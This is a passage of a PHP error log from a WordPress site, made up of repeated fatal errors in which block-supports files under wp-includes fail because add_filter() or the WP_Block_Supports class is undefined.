  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[24-Aug-2025 00:14:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[24-Aug-2025 00:14:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[24-Aug-2025 00:14:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[24-Aug-2025 00:14:38 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[24-Aug-2025 00:14:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[24-Aug-2025 00:14:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[24-Aug-2025 00:14:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[24-Aug-2025 00:14:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[24-Aug-2025 00:16:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[24-Aug-2025 00:16:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[24-Aug-2025 00:16:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[24-Aug-2025 12:36:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[24-Aug-2025 17:22:47 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[27-Oct-2025 15:59:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[27-Oct-2025 16:02:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[27-Oct-2025 16:03:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[27-Oct-2025 16:04:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[27-Oct-2025 16:05:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[27-Oct-2025 16:08:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[27-Oct-2025 16:09:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[27-Oct-2025 16:12:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[27-Oct-2025 16:14:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[27-Oct-2025 16:16:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[27-Oct-2025 16:17:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[27-Oct-2025 16:23:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[27-Oct-2025 16:27:08 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[27-Oct-2025 16:27:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[27-Oct-2025 16:29:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[27-Oct-2025 16:30:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[27-Oct-2025 16:42:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[28-Oct-2025 19:10:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[28-Oct-2025 19:12:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[28-Oct-2025 19:15:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[28-Oct-2025 19:16:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[28-Oct-2025 19:18:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[28-Oct-2025 19:22:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[28-Oct-2025 19:25:15 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[28-Oct-2025 19:26:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[28-Oct-2025 19:28:21 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[28-Oct-2025 19:30:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[28-Oct-2025 19:31:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[28-Oct-2025 19:32:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[28-Oct-2025 19:33:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[28-Oct-2025 19:36:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[28-Oct-2025 19:37:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[28-Oct-2025 19:38:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[28-Oct-2025 19:39:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[28-Oct-2025 19:45:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[28-Oct-2025 19:45:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[28-Oct-2025 19:46:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[28-Oct-2025 19:53:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[28-Oct-2025 19:55:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[28-Oct-2025 19:56:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[28-Oct-2025 19:58:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[28-Oct-2025 19:59:11 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[28-Oct-2025 20:00:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[28-Oct-2025 20:01:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[28-Oct-2025 20:03:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[28-Oct-2025 20:05:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[28-Oct-2025 20:08:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[28-Oct-2025 20:11:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[28-Oct-2025 20:12:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[28-Oct-2025 20:13:19 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[28-Oct-2025 20:14:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[28-Oct-2025 20:17:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[28-Oct-2025 20:18:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[28-Oct-2025 20:21:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[28-Oct-2025 20:22:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[28-Oct-2025 20:24:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[28-Oct-2025 20:25:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[28-Oct-2025 20:27:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[28-Oct-2025 20:28:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[28-Oct-2025 20:31:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[28-Oct-2025 20:32:18 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[28-Oct-2025 20:33:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[28-Oct-2025 20:34:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[28-Oct-2025 20:35:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[28-Oct-2025 20:41:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[28-Oct-2025 20:43:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[28-Oct-2025 20:43:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[28-Oct-2025 20:47:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[28-Oct-2025 20:48:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[28-Oct-2025 20:49:35 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[28-Oct-2025 20:50:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[28-Oct-2025 20:51:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[28-Oct-2025 20:52:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[28-Oct-2025 20:53:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
